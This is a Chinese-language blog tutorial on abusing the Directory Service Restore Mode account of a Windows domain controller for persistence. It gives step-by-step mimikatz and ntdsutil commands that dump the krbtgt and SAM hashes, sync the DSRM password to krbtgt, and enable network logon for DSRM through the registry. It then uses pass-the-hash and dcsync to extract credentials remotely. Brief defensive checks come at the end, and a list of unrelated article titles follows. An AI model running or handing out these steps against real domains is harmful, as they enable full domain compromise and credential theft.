一、DSRM简介 
  1.DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
  2.修改DSRM密码的方法
  在域控制器上打开命令行环境,输入“ntdsutil”,常用命令如下:
  set dsrm password :设置dsrm密码
  reset password on server null :在当前域控制器上恢复dsrm密码
  q :退出
  
 
  如果域控制器版本是windows2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域用户密码。
ntdsutil # 打开命令行
set dsrm password
sync from Domain Account domainusername # 使dsrm的密码和指定域用户的密码同步。
q:退出
 
二、.实验操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mimikatz,看到krbtgt的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
privilege::debug
lsadump::lsa /patch /name:krbtgt
或者
mimikatz privilege::debug "lsadump::lsa /patch /name:krbtgt" > krbtgt.txt
 
(2)使用mimikatz读取SAM文件中本地管理员(DSRM)的NTLM Hash
在域控制器中打开mimikatz,获得DSRM账号的NTLM Hash为:579da618cfbfa85247acf1f800a280a4
privilege::debug
token::elevate
lsadump::sam
 
(3)将DSRM账号和krbtgt 的NTLM Hash同步
ntdsutil
set dsrm password
sync from Domain Account krbtgt
 
(4)查看dsrm的NTLM Hash是否同步成功
通过mimikatz,得到dsrm账号的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
mimikatz privilege::debug token::elevate lsadump::sam
 
(5)修改dsrm的登录方式
在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。
  DSRM的三种登录方式:
  0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
  在windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制.
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,可用powershell进行更改。
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -PropertyType DWORD
查看注册表,发现已经DsrmAdminLogonBehavior键值已设置为2.
 
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,输入如下命令:
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:ffc79c6f14bb2c39e6ceab183cefc9c5

(7)还用mimikatz的dcsync 功能远程转储krbtgt的NTLM Hash
在哈希传递完成后,会弹出一个命令行窗口,在该命令行窗口中打开mimikatz。输入如下命令:
mimikatz "lsadump::dcsync /domain:payload.com /dc:win-dc /user:krbtgt"
需要注意路径:新开的窗口在system32下,需要切换到mimikatz所在目录操作。
 
三、DSRM更改的防御措施
  1.定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值。
  2.定期修改域中所有域控制器的DSRM账号。
  3.经常检查ID为4794的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

最新文章

  1. 2013 duilib入门简明教程 -- 界面设计器 DuiDesigner (10)
  2. 使用django rest framework
  3. [dijkstra+heap优化] 模板
  4. 解决Windows时间同步失败问题!系统时间同步设置!
  5. c++ 如何实现,readonly
  6. Chapter 1 Securing Your Server and Network(11):使用透明数据库加密
  7. APサーバ
  8. 程序设计实践C++ 程序代写(QQ 928900200)
  9. ASP.NET——RequiredFieldValidator控制和ValidationSummary控制
  10. 安卓 ArrayList,LinkedList,HashSet,Vector,TreeSet的区别和使用
  11. linux(十)配置ssh免密登录实现
  12. 解决 Cannot find OpenSSL's <evp.h> 和sasl.h not found!
  13. CTeX入门出坑
  14. rxjava&retrofit请求直接返回string
  15. jQuery中的extend()方法
  16. Learning-Python【10】:函数初识
  17. jTimer
  18. 用Windows命令行编译自己的c或者cpp以及一些操作
  19. HDU 4309 Seikimatsu Occult Tonneru (状压 + 网络流)
  20. Windows下如何更新 node.js

热门文章

  1. 基于Arduino的红外遥控
  2. 【转】Vim显示中文乱码
  3. ES6的Object.assign()基本用法
  4. .NET Core开发的iNeuOS工业互联平台,iNeuKernel物联网核心组件在Docker容器中部署。
  5. java实现FTP文件下载
  6. C# 根据年月日计算周次
  7. 用户输入- Unity3D游戏开发培训
  8. LeetCode 第三题--无重复字符的最长子串
  9. python 进程Queue
  10. python 黏包现象